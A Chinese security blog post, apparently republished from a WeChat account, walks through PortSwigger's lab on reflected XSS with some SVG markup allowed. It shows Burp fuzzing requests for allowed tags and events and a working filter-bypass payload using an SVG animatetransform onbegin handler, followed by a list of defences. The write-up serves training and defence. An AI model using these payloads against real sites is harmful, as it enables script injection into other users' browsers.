portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

admin 2024年11月10日21:23:04评论6 views字数 3167阅读10分33秒阅读模式

0x01 阅读须知

鸡哥安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

0x02 XSS说明

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。

0x03 题目解析

靶场地址:https://portswigger.net/web-security/all-labs

XSS题目十九、允许带有一些 SVG 标记的反射型 XSS

1.输入框尝试xss,返回Tag is not allowed

<img+src%3d1+onerror%3dprint()>

portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

2.fuzz标签:找到burp官方辅助标签,点击Copy tags to clipboard

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

3.burpsuite fuzz一下标签,animatetransform、svg等标签返回200,表示animatetransform、svg等标签未过滤

GET /?search=<§§> HTTP/1.1Host: 0a9200cf036174ce804449f3007d00ed.web-security-academy.netCookie: session=mP3QDoVdmOKjLlbwMYFR86aqWR1WMfGISec-Ch-Ua: "Chromium";v="21", " Not;A Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://0a9200cf036174ce804449f3007d00ed.web-security-academy.net/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

4.fuzz事件找到burp官方辅助事件,点击Copy events to clipboard

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

5.burpsuite fuzz一下事件,onbegin返回200,表示onbegin标签未过滤

GET /?search=<svg><animatetransform%20§§=1> HTTP/1.1Host: 0a9200cf036174ce804449f3007d00ed.web-security-academy.netCookie: session=mP3QDoVdmOKjLlbwMYFR86aqWR1WMfGISec-Ch-Ua: "Chromium";v="21", " Not;A Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://0a9200cf036174ce804449f3007d00ed.web-security-academy.net/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

6.构造payload,发送给服务端,即可完成考核

"><svg><animatetransform onbegin=alert(1)>url编码=>%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E解析:animatetransform标签是SVG动画中的一个元素,用于定义SVG元素的变换动画。它可以通过设置属性来控制动画的开始时间、持续时间、变换类型等。onbegin事件是一个JavaScript事件,它在动画开始时触发。可以通过在元素中设置onbegin属性来指定在动画开始时要执行的JavaScript代码。在这个例子中,onbegin事件被用于注入恶意代码,当动画开始时会弹出一个窗口,显示数字1。需要注意的是,onbegin事件只是SVG动画中的一个事件,它并不是HTML中的标准事件。因此,它只能在SVG元素中使用,不能在HTML元素中使用。这段代码是一个SVG标签,其中包含一个animatetransform标签,并在其中设置了一个onbegin事件,当动画开始时会触发alert(1)弹出窗口,显示数字1。

portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

0x04 挖掘和防御

1.标签过滤

2.事件过滤

3.敏感字符过滤

4.设置httponly防止Cookie被获取

5.内容安全策略(CSP)

6.在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码

7.在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码

8.在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码

9.在将不可信数据插入到Style属性里时,对这些数据进行CSS编码

网络安全神兵利器分享
网络安全漏洞N/0day分享
    加入星球请扫描下方二维码,更多精,敬请期待!
👇👇👇

portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

1个portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS1朵portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS5毛钱

天天搬砖的小M

能不能吃顿好的

就看你们的啦

portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

原文始发于微信公众号(鲲哥的Bypass之旅):portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSS

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月10日21:23:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   portswigger靶场-Lab18: 允许带有一些 SVG 标记的反射型 XSShttps://cn-sec.com/archives/2496363.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息